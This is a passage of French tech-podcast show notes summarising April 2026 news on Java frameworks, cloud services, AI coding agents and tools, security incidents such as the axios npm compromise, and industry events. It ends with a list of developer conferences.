d'erreur et détails structurés pour une meilleure observabilité. Optimisation HTTP : ajout d'en-têtes de cache pour les métadonnées des agents (Agent Card). Flexibilité du client HTTP : support par défaut du JDK HttpClient, avec option Vert.x pour les environnements Quarkus. Nouvelles fonctionnalités techniques : méthode DataPart.fromJson() pour la création simplifiée d'objets depuis du JSON brut. Prochaines étapes (v1.0.0.GA) : support simultané des versions 1.0.0 et 0.3.0 du protocole pour assurer l'interopérabilité. JPA 4.0 Milestone 2 : nouvelles fonctionnalités pour Jakarta Persistence https://in.relation.to/2026/04/23/JPA-4-M2/ Jakarta Persistence (JPA) est la spécification standard Java pour le mapping objet-relationnel (ORM), implémentée notamment par Hibernate. JPA 4.0 M2 est la deuxième milestone de la prochaine version majeure de la spécification, annoncée par Gavin King. Construction de requêtes Criteria à partir de chaînes JPQL, offrant plus de flexibilité dans la composition dynamique des requêtes. Nouveaux types d'expressions spécialisés (TextExpression, NumericExpression) pour simplifier l'écriture des requêtes Criteria. Nouvelle interface FetchOption pour contrôler explicitement la stratégie de chargement des associations, dont un BatchSize intégré. Nouvelle annotation @EntityListener qui découple les classes entités de leurs listeners, supprimant les dépendances à la compilation. Les listeners peuvent cibler plusieurs types de callbacks et s'appliquer globalement à toute l'unité de persistance. Introduction de FlushModeType.EXPLICIT et QueryFlushMode pour un contrôle plus fin de la synchronisation avec la base de données. La méta-annotation @Discoverable permet de placer des annotations comme @NamedQuery sur n'importe quelle classe ou interface. Améliorations du DDL via @Index amélioré et clarifications de la spécification via la javadoc. Quarkus 3.35 : tree-shaking, PGO et AOT Semeru https://quarkus.io/blog/quarkus-3-35-released/ Quarkus est un framework Java cloud-natif optimisé pour GraalVM et HotSpot, conçu pour les microservices et les environnements conteneurisés. Nouveau JAR tree-shaking expérimental : analyse des dépendances à la compilation pour supprimer les classes inutilisées. Sur le CLI Quarkus, cela supprime plus de 6 000 classes et économise environ 18 Mo (39,5 %). Support du Profile-Guided Optimization (PGO) pour les builds natifs via quarkus.native.pgo.enabled=true. Le PGO est une fonctionnalité Oracle GraalVM, non disponible dans la Community Edition. Support de l'AOT IBM Semeru : le démarrage passe de ~380 ms à ~190 ms dans les premiers tests. Nouvelle extension quarkus-reactive-transactions : support de @Transactional pour les méthodes Hibernate Reactive retournant Uni. Configuration CORS dédiée pour l'interface de management, indépendante de l'interface HTTP principale. Les tests n'utilisent plus les System Properties pour la propagation de configuration, facilitant la parallélisation future. Le serializer jackson sans reflection n'est pas le default du aux retours de cas limites, encore du travail This Week in Spring - 21 avril 2026 https://spring.io/blog/2026/04/21/this-week-in-spring-april-21-2026 Spring Framework 6.2.18 et 7.0.7 corrigent trois failles de sécurité : DoS via fichiers multipart WebFlux, empoisonnement de cache de ressources statiques, et DoS sur Windows. Le support open source de Spring Framework 5.3.x et 6.1.x est terminé, la migration est recommandée. Spring Data 2026.0.0-RC1 introduit l'upsert (MERGE/INSERT ON CONFLICT) dans l'API Template de Spring Data Relational. Spring Data ajoute un RedisMessageSendingTemplate pour la cohérence avec les listeners Redis, et une optimisation de réinitialisation de caches en un seul appel. Spring AI introduit une Session API (série Agentic Patterns, partie 7) : architecture event-sourcée pour la mémoire des agents IA. La Session API supporte la compaction turn-safe, l'isolation de sous-agents en parallèle, et la persistence JDBC (PostgreSQL, MySQL, MariaDB, H2). Elle vise Spring AI 2.1 (novembre 2026) et remplacera à terme l'API ChatMemory. Spring Vault 4.1.0-RC1 et 4.0.2 sont disponibles. Netflix a présenté son usage de Java, Spring Boot et Spring AI dans une vidéo. This Week in Spring - 28 avril 2026 https://spring.io/blog/2026/04/28/this-week-in-spring-april-28-2026 Cette série hebdomadaire de Josh Long compile les nouveautés de l'écosystème Spring : articles, outils, podcasts et annonces de la communauté. Spring Boot 4 introduit un package natif de résilience org.springframework.resilience avec une nouvelle API de retry qui remplace les approches fragiles via Spring Retry ou Resilience4j. L'API retry native de Spring Boot 4 a des noms d'attributs et sémantiques différents des anciennes bibliothèques, rendant les tutoriels pré-2025 obsolètes et sources de bugs silencieux. Le SDK Spring AI pour Amazon Bedrock AgentCore est disponible en GA : il intègre les capacités AgentCore dans Spring AI via annotations et auto-configuration. Le SDK AgentCore gère automatiquement le contrat runtime AgentCore : endpoint /invocations, health check /ping, SSE avec backpressure. Il offre mémoire court terme (sliding window) et long terme (sémantique, préférences, résumé, épisodique), ainsi que des outils pour navigateur et exécution de code en sandbox. Un plugin Maven (Nullability Maven Plugin) simplifie l'intégration de JSpecify et NullAway pour enforcer la null-safety à la compilation dans les projets Java. Le plugin génère automatiquement les fichiers package-info.java par package et configure le compilateur pour traiter les violations de nullabilité comme des erreurs. Josh Long et Dr. Venkat Subramaniam ont co-présenté à Voxxed Days Amsterdam sur "Intelligent Kotlin", avec un épisode de podcast associé. Cloud Amazon S3 Files https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-s3-files/ Amazon S3 Files est un nouveau service donnant un accès système de fichiers direct aux données stockées dans les buckets S3 Basé sur la technologie Amazon EFS, il supprime la barrière entre stockage objet et interface système de fichiers sans dupliquer les données Débit en lecture pouvant atteindre plusieurs téraoctets par seconde ; des milliers de ressources de calcul peuvent y accéder simultanément Les données restent accessibles via les deux interfaces : S3 API classique et système de fichiers standard, sans migration nécessaire Cas d'usage : agents IA pour la persistance de mémoire entre pipelines, équipes ML sans staging, simplification des data lakes Disponible dans 34 régions AWS Data et Intelligence Artificielle Comment générer de la musique et des clips audio en Java avec le modèle Lyria 3 https://glaforge.dev/posts/2026/03/25/generating-music-with-lyria-3-and-the-gemini-interactions-java-sdk/ Génération musicale avec Lyria 3 (DeepMind) et le SDK Java Gemini Interactions. Lyria 3 : modèle d'IA générative pour créer musique avec paroles ou pistes instrumentales. Utilisation via le SDK Java de l'API Gemini, nécessite une clé API Gemini. Deux versions de modèle Lyria 3 : lyria-3-clip-preview : Clips courts (30s), extraits. lyria-3-pro-preview : Chansons complètes (jusqu'à 3 min), structurées. Personnalisation via les prompts : Fournir ses propres paroles ou les faire générer. Contrôler la structure de la chanson ([Intro], [Verse], [Chorus], [Outro]). Générer des morceaux instrumentaux uniquement. Utiliser des images comme source d'inspiration (modèle multimodal). Sortie : Audio (MP3) et texte (paroles/structure) directement, sans décodage complexe. Facilite l'intégration de la génération musicale dans les applications Java. Les world model, la prochaine étape pour les IA https://www.lepoint.fr/sciences-nature/comment-le-commando-de-yann-le-cun-se-prepare-a-ringardiser-les-geants-mondiaux-de-lia-depuis-paris-OZVUWTDYBNE25C6WF44265ZQKE/ Yann LeCun a quitté Meta FAIR pour créer AMI Labs (Advanced Machine Intelligence) basée à Paris Sa thèse : les LLMs ne mèneront pas à l'intelligence générale, la vraie IA doit partir de la compréhension du monde physique AMI Labs a levé 1,03 milliard de dollars en seed (le plus grand seed round de l'histoire européenne) à 3,5 milliards de valorisation Les world models apprennent à prédire et comprendre la réalité physique plutôt qu'à prédire le prochain token d'une séquence Slogan d'AMI : "Real intelligence does not start in language. It starts in the world." Paris comme base stratégique pour challenger la Silicon Valley dans la prochaine rupture de l'IA Debezium 2026 : résultats du sondage communautaire https://debezium.io/blog/2026/04/27/debezium-2026-survey-results/ Debezium est un outil de Change Data Capture (CDC) open source qui capture les modifications de bases de données en temps réel pour les diffuser vers des systèmes comme Kafka. 98,6% des répondants utilisent Debezium activement ou prévoient de le faire dans l'année, avec 91,3% déjà en production. 63,8% des déploiements tournent sur Kubernetes, 60,9% utilisent Kafka Connect auto-géré, et 17,4% restent sur des VMs ou bare metal. Helm charts est l'approche dominante pour la gestion de configuration, souvent combiné avec GitOps, CI/CD, Ansible ou Terraform. PostgreSQL domine les connecteurs utilisés à 69,6%, suivi de MySQL (33,3%), SQL Server (29%) et Oracle (27,5%). Les volumes de changements capturés vont de 1-25 modifications par minute jusqu'à 1-2 millions par minute selon les environnements. Infinispan rejoint l'écosystème OGX comme fournisseur de stockage vectoriel https://infinispan.org/blog/2026/04/17/infinispan-joins-ogx-ecosystem OGX (anciennement Llama Stack) est un serveur API agentique open source pour construire des applications d'IA complètes. OGX compose des fournisseurs d'inférence, des stores vectoriels, des backends de sécurité, des runtimes d'outils et du stockage de fichiers en un seul serveur déployable. OGX se positionne comme une alternative à l'API OpenAI, déployable sur diverses infrastructures et modèles. OGX cible les workflows RAG (Retrieval-Augmented Generation) et les applications agentiques. Infinispan s'y intègre comme fournisseur de vector IO, apportant recherche vectorielle, par mots-clés et hybride. Je n'ai pas entendu parlé de ce renommage, vous le voyez dans vos deploiements ? Outillage cmux un nouveau terminal basé sur Ghostty spécialisé pour les coding agents https://cmux.com/ Application macOS native construite sur le moteur de rendu Ghostty (libghostty), offrant une accélération GPU pour une fluidité maximale Conçu spécifiquement pour le multitâche et les workflows assistés par IA, avec des onglets verticaux affichant la branche Git, le répertoire et les ports actifs Intègre des notifications qui illuminent les panneaux lorsqu'un agent IA (Claude Code, Codex, etc.) nécessite l'attention de l'utilisateur Propose un navigateur web intégré et scriptable qui peut être affiché en écran scindé à côté du terminal via une API Alternative moderne à tmux, ne nécessitant pas de fichiers de configuration complexes ou de préfixes de touches pour la gestion des vitres et des sessions Supporte nativement tous les agents de codage en ligne de commande et permet l'automatisation via une API socket et une interface CLI dédiée Git Worktree comme un chef https://www.metal3d.org/blog/2026/git-worktree-comme-un-chef/ Article par Patrice Ferlet Git Worktree: Travailler sur plusieurs branches simultanément via des répertoires distincts. Évite git stash ou clones multiples pour le changement de contexte rapide. Méthode "bare" (recommandée): Cloner le dépôt en mode bare (ex: .bare). Lier le dossier racine au dépôt bare via un fichier .git. Configurer le remote tracking pour voir toutes les branches distantes. Ajouter des worktrees pour chaque branche (git worktree add ). Avantages: Économie d'espace, source de vérité unique (un git fetch met tout à jour), hooks/configs partagés, sécurité. Conseils: Ne jamais faire de git checkout à l'intérieur d'un worktree. git fetch --all depuis n'importe quel worktree pour tout mettre à jour. git worktree add --detach pour tester des merges temporaires sans créer de branche. Supprimer: git worktree remove puis git worktree prune. Un script wtree est fourni pour automatiser l'initialisation du setup "bare". Améliore considérablement le workflow. L'IDE meurt et vite https://x.com/jdegoes/status/2036931874057314390?s=46&t=C18cckWlfukmsB_Fx0FfxQ Des leaders techniques prédisent la fin rapide de l'IDE traditionnel, remplacé par des interfaces conversationnelles agentiques Le changement de paradigme : le développeur n'écrit plus des lignes de code mais exprime son intention et supervise des agents autonomes Des outils comme Claude Code, Copilot et Cursor transforment déjà radicalement les workflows de développement quotidiens L'IDE centré sur l'éditeur de code perd sa raison d'être quand l'agent lit, modifie et structure le code de manière autonome La transition est comparable au passage du desktop au mobile : les pratiques établies depuis 30 ans remises en question en quelques mois Le source de Claude Code a leaké via probablement le codemap et un site decrit sont fonctionnement https://ccunpacked.dev/ Le 31 mars 2026, Anthropic a accidentellement inclus les sourcemaps dans un package npm de Claude Code, exposant ~512 000 lignes de TypeScript La fuite n'était pas un piratage mais une erreur humaine : un "*.map" oublié dans .npmignore Le site ccunpacked.dev a été lancé pour analyser et visualiser le code source décompressé Le code révèle un agent background permanent nommé "KAIROS", un mode furtif pour cacher les contributions des employés Anthropic à l'open source, et 44 feature flags cachés Une fonctionnalité inédite "Buddy" (animal de compagnie électronique dans le terminal) et un mode "dream" pour l'idéation continue ont été découverts Anthropic a confirmé : "Aucune donnée client sensible n'était impliquée. Erreur humaine dans le packaging de la release." Gemini CLI passe aux agents https://x.com/srithreepo/status/2039794081925382307?s=46&t=GLj1NFxZoCFCjw2oYpiJpw Gemini CLI, l'agent IA open source de Google pour le terminal, introduit des hooks dans sa boucle agentique Les hooks permettent d'exécuter des scripts automatiquement (scanners de sécurité, vérifications de conformité, logging) à chaque étape de l'agent Lancement de Gemini CLI GitHub Actions : un agent autonome pour les repositories qui peut exécuter des tâches de codage de routine Support des MCP servers pour étendre les capacités et des "Agent Skills" pour des workflows spécialisés Mode agent disponible dans VS Code et IntelliJ avec accès aux outils du système de fichiers et terminal Wispr, le speech to text en local sur macOS http://wispr.stormacq.com/ Wispr est une application macOS de dictée vocale entièrement locale, propulsée par Whisper (OpenAI) sur appareil, sans cloud ni tracking Sébastien Stormacq a développé Wispr en un jour et demi sans écrire une seule ligne de code, grâce à Kiro CLI (agent IA Amazon) Disponible en open source sur GitHub et via Homebrew Détection automatique de la langue, insertion du texte au curseur dans n'importe quelle application via un raccourci global En un mois : 19 releases incluant mode mains-libres, suppression des mots de remplissage, auto-envoi pour les chats, et un outil CLI Exemple concret de développement vibe coding produisant un outil de qualité production sans expertise Swift préalable Comment, Gordon, l'assistant spécialisé en Docker est né https://n9o.xyz/posts/202603-building-gordon/ Nuno Coração (n9o.xyz) détaille comment Gordon, l'assistant spécialisé Docker, a été construit sur docker-agent, le runtime d'agents IA open source de Docker écrit en Go Les agents sont définis en YAML déclaratif et distribués comme des artefacts OCI, sans mise à jour binaire nécessaire L'architecture initiale en essaim de 9 agents spécialisés a été abandonnée au profit d'un agent racine unique avec un prompt soigneusement conçu Le modèle utilisé est Claude Haiku 4.5, suffisant après optimisation des prompts Principe clé "show, then do" : toute action de l'agent nécessite une approbation explicite de l'utilisateur La description des outils impacte fortement la précision du LLM : ajouter des outils peut paradoxalement dégrader les performances existantes Le prompt est une spécification détaillée (identité, patterns d'accès fichiers, règles de sécurité) plutôt qu'une simple instruction IBM Bob https://bob.ibm.com/blog/announcing-ibm-bob-launch IBM Bob assistant IA d'IBM pour coder sur de vraies codebases (lancé avril 2026) 5 modes : Ask, Plan, Code, Advanced (MCP), Orchestrator Détecte la complexité du code en temps réel et propose des refactos Fait des revues de code automatiques sur tes branches/issues GitHub Permet d'écrire en langage naturel directement dans l'éditeur Fonctionne aussi en terminal/CLI et dans les pipelines CI/CD Sécurité : approbation manuelle, .bobignore, checkpoints, pas de training sur tes prompts How I use Claude - 50 tips pratiques https://www.youtube.com/watch?v=mZzhfPle9QU Staff Engineer Meta partage 50 tips après 6 mois d'utilisation intensive de Claude Code Basé sur ~12h/jour d'usage perso et professionnel Couvre tout : bases, workflows avancés, parallélisation Objectif : partager ce qu'il aurait voulu savoir dès le départ Méthodologies Quelqu'un rale sur la non soutenabilité des bases de code écritent avec des agents https://mariozechner.at/posts/2026-03-25-thoughts-on-slowing-the-fuck-down/ Mario Zechner estime que les agents IA font les mêmes erreurs répétitivement sans apprendre, accumulant la complexité à grande vitesse faute de bottlenecks humains Sans vision globale, les agents créent du cargo-cult : les "best practices" de l'industrie appliquées localement sans cohérence architecturale La croissance de la base de code dégrade la capacité des agents à retrouver le code existant → duplication et incohérences croissantes Il cite des pannes AWS et des initiatives qualité Microsoft comme signes préoccupants liés au code généré par IA Solution : réserver les agents aux tâches délimitées et évaluables, garder l'architecture, les APIs et les systèmes critiques écrits à la main Maintenir une revue de code rigoureuse et traiter les humains comme les gardiens finaux de la qualité On m'oblige à utiliser l'IA https://n.survol.fr/n/on-moblige-a-utiliser-lia Éric D. défend l'adoption obligatoire de l'IA comme décision stratégique légitime, comparable au choix du full remote ou de la stack technique Il distingue la décision stratégique (adoption IA) de la méthode d'accompagnement (qui reste collaborative et bienveillante) La compétence IA devient un critère de recrutement : chercher des candidats déjà curieux et explorateurs de ces outils L'alignement culturel sur les pratiques et outils est un prérequis à la cohésion d'équipe Le refus d'adopter certains outils stratégiques peut justifier de ne pas recruter un candidat autrement compétent Encore une metodo SPDD https://martinfowler.com/articles/structured-prompt-driven/ Problème : l'IA accélère le dev individuel mais amplifie ambiguïtés et incohérences à l'échelle d'une équipe. martinfowler SPDD : traiter les prompts comme des artefacts versionnés, révisables et réutilisables plutôt que des échanges jetables. martinfowler Canvas REASONS : 7 dimensions (Requirements, Entities, Approach, Structure, Operations, Norms, Safeguards) pour guider le LLM de l'intention à l'exécution. martinfowler Workflow en 6 étapes : exigences → analyse → contexte → prompt structuré → code → tests unitaires, chaque étape s'appuyant sur la précédente. martinfowler 3 compétences clés : abstraction d'abord, alignement de l'intention, revue itérative. martinfowler Limites : fort ROI sur du code métier complexe, peu adapté aux hotfixes urgents, scripts jetables ou travail créatif/visuel. m Sécurité Le projet Glasswing pour sécuriser les logiciels https://www.anthropic.com/glasswing Anthropic lance Glasswing, une initiative de cybersécurité utilisant Claude Mythos Preview pour identifier des vulnérabilités zero-day 12 partenaires fondateurs dont AWS, Apple, Cisco, CrowdStrike, Google, JPMorganChase, Linux Foundation, Microsoft et NVIDIA Anthropic investit 100 millions de dollars en crédits de modèle et 4 millions en dons aux organisations de sécurité open source Le modèle opère avec une autonomie substantielle, identifiant des milliers de vulnérabilités dans les OS, navigateurs et infrastructures critiques Plus de 40 organisations supplémentaires ont accès pour scanner et sécuriser leurs systèmes Objectif : donner l'avantage aux défenseurs avant que les techniques de hacking assistées par IA ne se généralisent chez les attaquants LinkedIn vous espionne https://frenchbreaches.com/blog/linkedin-est-accuse-de-fouiller-dans-votre-ordinateur-illegalement Scandale "BrowserGate" : LinkedIn injecte du JavaScript qui tente de détecter les extensions Chrome installées sur votre navigateur Le script analysé contient une liste codée en dur de 6 222 extensions Chrome avec identifiants et chemins de fichiers internes Croissance alarmante de la liste ciblée : 38 extensions en 2017 → 461 en 2024 → ~1 000 en mai 2025 → 6 222 début 2026 Les données collectées incluent aussi CPU, RAM, résolution d'écran, timezone et état batterie pour du fingerprinting Certaines extensions ciblées sont liées à la neurodivergence, aux pratiques religieuses ou aux opinions politiques → violation grave du RGPD LinkedIn défend que le scan vise uniquement à détecter les extensions qui pratiquent le scraping de données Post mortem de la supply chain attack sur la librairie NPM axios https://github.com/axios/axios/issues/10636 Le 31 mars 2026, deux versions malveillantes d'axios (1.14.1 et 0.30.4) ont été publiées via un compte mainteneur compromis Vecteur d'attaque : RAT installé via ingénierie sociale ciblée sur la machine personnelle du mainteneur principal La 2FA ne protège pas si la machine de l'utilisateur est compromise : l'attaquant contrôle tout et peut agir comme l'utilisateur Les packages malveillants injectaient plain-crypto-js@4.2.1, un cheval de Troie multi-plateforme (macOS, Windows, Linux) Détection communautaire en ~3 heures, suppression par npm, mesures correctives : rotation complète des credentials Changements préventifs : publication via OIDC, releases immuables, amélioration des pratiques GitHub Actions Passbolt un gestionnaire de mots de passe open source https://lesjoiesducode.fr/passbolt-gestionnaire-de-mots-de-passe-gratuit-open-source-que-votre-equipe-merite-vraiment Gestionnaire de mots de passe open source conçu pour le partage d'identifiants en équipe, utilisé par plus de 50 000 organisations Chiffrement individuel par utilisateur et par version de credential, pas de coffre-fort partagé — architecture zero-knowledge "Forward secrecy" : quand un membre quitte l'équipe, ses copies chiffrées sont automatiquement révoquées sans reset manuel Supporte TOTP, clés SSH, tokens API et champs personnalisés avec piste d'audit complète de tous les accès Édition communautaire entièrement gratuite avec utilisateurs illimités, auto-hébergeable ou cloud Chiffrement OpenPGP nécessitant passphrase + clé privée, avec tokens visuels anti-phishing Loi, société et organisation Anthropic fait un don d'1,5 millions de dollars à la fondation Apache https://news.apache.org/foundation/entry/the-apache-software-foundation-announces-1-5m-donation-from-anthropic Anthropic donne 1,5 million de dollars à l'ASF pour soutenir l'infrastructure, la sécurité et la communauté open source Vitaly Gudanets (CISO d'Anthropic) : "Soutenir l'ASF est un investissement direct dans la résilience et l'intégrité des systèmes dont dépend l'IA moderne" Les fonds financeront les systèmes de build, les processus de sécurité et les services aux projets Apache Ce don est le déclencheur de l'initiative IA responsable à 10 millions de dollars de l'ASF L'infrastructure Apache est invisible mais critique : des systèmes financiers aux plateformes de santé, elle sous-tend l'écosystème logiciel mondial L'ASF lance l'initiative IA responsable https://news.apache.org/foundation/entry/the-apache-software-foundation-launches-10m-responsible-ai-initiative-with-initial-1-75m-donation L'ASF lance une initiative pour une IA responsable dotée d'un budget de 10 millions de dollars sur 3 ans minimum Anthropic est le premier donateur avec 1,5 million de dollars ; Alpha-Omega contribue 250 000 dollars L'initiative fournit aux projets Apache un accès à des modèles IA pour l'expérimentation et la sécurité Elle soutient l'ensemble de la chaîne IA/ML : pipelines de données, infrastructure, frameworks de deep learning Des tracks de conférences, hackathons et bourses de voyage sont prévus pour élargir la communauté Les principes directeurs incluent la supervision humaine, l'intégrité des licences et la sécurité open source Oracle vire 30000 personnes https://rollingout.com/2026/03/31/oracle-slashes-30000-jobs-with-a-cold-6/ Oracle licencie 20 000 à 30 000 employés, 18% de ses effectifs mondiaux. Les salariés ont appris leur licenciement par un simple email à 6h du matin, sans aucun préavis. L'accès à tous les systèmes (Slack, Zoom, badges) a été coupé immédiatement après. But : libérer 8 à 10 milliards de dollars pour construire des centres de données IA. Oracle a déjà contracté 50 milliards de dettes en 2026 pour financer ses projets IA. Paradoxe : l'entreprise affiche un bénéfice record de 6,13 milliards, mais ses liquidités sont dans le rouge. L'action Oracle a perdu plus de la moitié de sa valeur depuis septembre 2025. Et si l'IA n'était qu'un prétexte pour licencier https://eventuallycoding.com/p/ia-licenciements-et-si-l-intelligence-artificielle-n-etait-qu-une-excuse Hugo Lassiège (eventuallycoding) estime que les entreprises utilisent l'IA comme narratif commode pour masquer des erreurs de gestion passées (Block a triplé ses effectifs post-COVID sans croissance des revenus correspondante) Moins de 1% des licenciements technologiques seraient réellement dus à des gains de productivité IA selon les analyses citées Mesurer la productivité des développeurs reste un problème non résolu, mais les entreprises affirment des gains d'efficacité sans preuves Des pressions économiques réelles (inflation, guerres commerciales, coûts énergétiques) sont masquées derrière le discours IA Les restructurations nécessaires sont présentées comme des transformations AI-driven positives pour rassurer les investisseurs Il y voit une fenêtre d'opportunité pour l'Europe pendant que les géants américains se restructurent GitHub Copilot va utiliser les interacitons pour entrainer ses modèles sauf si vous vous délistez https://github.blog/news-insights/company-news/updates-to-github-copilot-interaction-data-usage-policy/ À partir du 24 avril 2026, GitHub utilise par défaut les interactions des utilisateurs Copilot Free, Pro et Pro+ pour entraîner ses modèles Les données collectées incluent le code accepté ou modifié, les snippets envoyés, les noms de fichiers et structures de dépôts, et les retours utilisateurs Les utilisateurs Copilot Business, Enterprise et les dépôts d'entreprise sont exclus de cette collecte de données d'entraînement Opt-out disponible dans les paramètres GitHub > "Privacy" ; les préférences de désactivation préalables sont conservées automatiquement Objectif déclaré : améliorer la précision des modèles sur les langages et cas d'usage du monde réel Grosse percée de Claude Code dans les commits sur GitHub https://aifoc.us/damn-claude-thats-a-lot-of-commits/ Explosion de Claude Code : En six mois, Claude Code est passé de 0,7 % à 4,5 % de tous les commits publics sur GitHub, surpassant tous les autres outils d'IA combinés. Adoption massive des agents IA : Environ 5 % des commits publics sur GitHub sont désormais générés par des agents IA, un chiffre en croissance rapide depuis fin 2025. Domination des bots sur GitHub : Au-delà des commits, les outils d'IA sont omniprésents dans la gestion des pull requests et des problèmes (Copilot et CodeRabbit notamment). Limites méthodologiques : Les données ne concernent que les dépôts publics (les entreprises utilisent massivement des dépôts privés, invisibles ici). Le comptage dépend fortement de la visibilité des signatures (certains outils comme Claude marquent systématiquement leurs commits, d'autres non) L'API de recherche GitHub présente une fiabilité variable à cette échelle. Changement de paradigme : Le développement logiciel vit une transition majeure, comparable au passage du desktop au mobile. L'intégration des agents IA dans le cycle de production n'est plus une expérimentation, mais une réalité opérationnelle à grande échelle. Dysmaths une application pour aider à apprendre les mathématiques et la géométrie lorsque l'on souffre de dyspraxie, dysgraphie https://dysmaths.com/ Application web pour aider les élèves de collège et lycée souffrant de dysgraphie et dyspraxie à faire des maths et de la géométrie Outils de dessin à main levée, géométrie précise (compas, rapporteur, règle) et opérations structurées (fractions, racines, puissances, symboles mathématiques) Export PDF et PNG avec conservation fidèle de l'échelle pour l'impression et la soumission des exercices Options d'accessibilité : police OpenDyslexic, personnalisations d'interface, import d'images et de PDFs Répond à un besoin réel : les outils standards ne sont pas adaptés aux difficultés de coordination et d'organisation spatiale en mathématiques IA ou réalité ? Par Amistory https://www.youtube.com/watch?v=PPYdAhBBF2I L'IA génère des contenus (images, voix, vidéos) de plus en plus indétectables Les arnaques au clonage de voix et deepfakes sont en forte hausse Les faux contenus viraux manipulent l'opinion à grande échelle Le faux n'est plus un accident, c'est devenu un système organisé La société entre dans une ère de doute généralisé sur le réel Comment s'informer quand le réel lui-même peut être simulé ? Conférences La liste des conférences provenant de Developers Conferences Agenda/List par Aurélie Vache et contributeurs : 6-7 mai 2026 : Devoxx UK 2026 - London (UK) 12 mai 2026 : Lead Innovation Day - Leadership Edition - Paris (France) 12-13 mai 2026 : Lyon Craft - Lyon (France) 19 mai 2026 : La Product Conf Paris 2026 - Paris (France) 19-20 mai 2026 : Green Code Challenge - Paris (France) 21-22 mai 2026 : Flupa UX Days 2026 - Paris (France) 22 mai 2026 : AFUP Day 2026 Lille - Lille (France) 22 mai 2026 : AFUP Day 2026 Paris - Paris (France) 22 mai 2026 : AFUP Day 2026 Bordeaux - Bordeaux (France) 22 mai 2026 : AFUP Day 2026 Lyon - Lyon (France) 27 mai 2026 : aMP Day Strasbourg 2026 - Strasbourg (France) 28 mai 2026 : DevCon 27 : I.A. & Vibe Coding - Paris (France) 28 mai 2026 : Cloud Toulouse 2026 - Toulouse (France) 29 mai 2026 : NG Baguette Conf 2026 - Paris (France) 29 mai 2026 : Agile Tour Strasbourg 2026 - Strasbourg (France) 2-3 juin 2026 : Agile Tour Rennes 2026 - Rennes (France) 2-3 juin 2026 : OW2Con - Paris-Châtillon (France) 3 juin 2026 : IA–NA - La Rochelle (France) 4 juin 2026 : Workplace Intelligence Days - 1ère édition - Lyon (France) 5 juin 2026 : TechReady - Nantes (France) 5 juin 2026 : Fork it! - Rouen - Rouen (France) 6 juin 2026 : Polycloud - Montpellier (France) 9 juin 2026 : JFTL - Montrouge (France) 9 juin 2026 : C: - Caen (France) 9 juin 2026 : France API 2026 - Paris (France) 11-12 juin 2026 : DevQuest Niort - Niort (France) 11-12 juin 2026 : DevLille 2026 - Lille (France) 12 juin 2026 : Tech F'Est 2026 - Nancy (France) 15 juin 2026 : Jupyter Workshops: Demystifying MyST Markdown in Education - Orsay (France) 16 juin 2026 : Mobilis In Mobile 2026 - Nantes (France) 17-19 juin 2026 : Devoxx Poland - Krakow (Poland) 17-20 juin 2026 : VivaTech - Paris (France) 18 juin 2026 : Tech'Work - Lyon (France) 22-26 juin 2026 : Galaxy Community Conference - Clermont-Ferrand (France) 23-24 juin 2026 : MWCP 2026 - Paris (France) 24-25 juin 2026 : Agi'Lille 2026 - Lille (France) 24-26 juin 2026 : BreizhCamp 2026 - Rennes (France) 25-26 juin 2026 : Agile Tour Toulouse 2026 - Toulouse (France) 27 juin 2026 : Asynconf - Paris (France) 2 juillet 2026 : Azur Tech Summer 2026 - Valbonne (France) 2-3 juillet 2026 : Sunny Tech - Montpellier (France) 3 juillet 2026 : Agile Lyon 2026 - Lyon (France) 6-8 juillet 2026 : Riviera Dev - Sophia Antipolis (France) 28-30 août 2026 : State of the Map - Champs-sur-Marne (France) 4 septembre 2026 : JUG Summer Camp 2026 - La Rochelle (France) 10-11 septembre 2026 : Nantes Craft - Nantes (France) 17 septembre 2026 : dotAI - Paris (France) 17-18 septembre 2026 : API Platform Conference 2026 - Lille (France) 18 septembre 2026 : dotJS - Paris (France) 18 septembre 2026 : WordCamp Bretagne - Rennes (France) 22 septembre 2026 : Salon Data 2026 - Nantes (France) 22-23 septembre 2026 : Agile en Seine & IA 2026 - Paris (France) 24 septembre 2026 : OWASP AppSec Days France 2026 - Paris (France) 24 septembre 2026 : PlatformCon Paris - Paris (France) 24 septembre 2026 : React Native Connection 2026 - Paris (France) 24-26 septembre 2026 : Paris Web 2026 - Paris (France) 28-29 septembre 2026 : 4th Tech Summit on AI & Robotics - Paris (France) & Online 1 octobre 2026 : WAX 2026 - Marseille (France) 1-2 octobre 2026 : Volcamp - Clermont-Ferrand (France) 2 octobre 2026 : DevFest Perros-Guirec 2026 - Perros-Guirec (France) 5-9 octobre 2026 : Devoxx Belgium - Antwerp (Belgium) 12 octobre 2026 : Dev With AI - Paris (France) 27-29 octobre 2026 : Directions EMEA 2026 - Paris (France) 29-30 octobre 2026 : BDX I/O 2026 - Bordeaux (France) 30 octobre 2026 : Cloud Nord 2026 - Lille (France) 4-5 novembre 2026 : Devoxx Morocco - Casablanca (Morocco) 14-15 novembre 2026 : Capitole du Libre - Toulouse (France) 19 novembre 2026 : DevFest Toulouse 2026 - Toulouse (France) 27 novembre 2026 : DevFest Paris 2026 - Paris (France) 1-3 décembre 2026 : Apidays Paris - Paris (France) 4 décembre 2026 : DevFest Lyon 2026 - Lyon (France) 4 décembre 2026 : DevFest Dijon 2026 - Dijon (France) 9-10 décembre 2026 : OpenSource Expérience - Paris (France) 9-10 décembre 2026 : DevOps REX - Paris (France) 10 décembre 2026 : KCD Provence - Aix-en-Provence (France) 7-9 avril 2027 : Devoxx France 2027 - Paris (France) Nous contacter Pour réagir à cet épisode, venez discuter sur le groupe Google https://groups.google.com/group/lescastcodeurs Contactez-nous via X/twitter https://twitter.com/lescastcodeurs ou Bluesky https://bsky.app/profile/lescastcodeurs.com Faire un crowdcast ou une crowdquestion Soutenez Les Cast Codeurs sur Patreon https://www.patreon.com/LesCastCodeurs Tous les épisodes et toutes les infos sur https://lescastcodeurs.com/
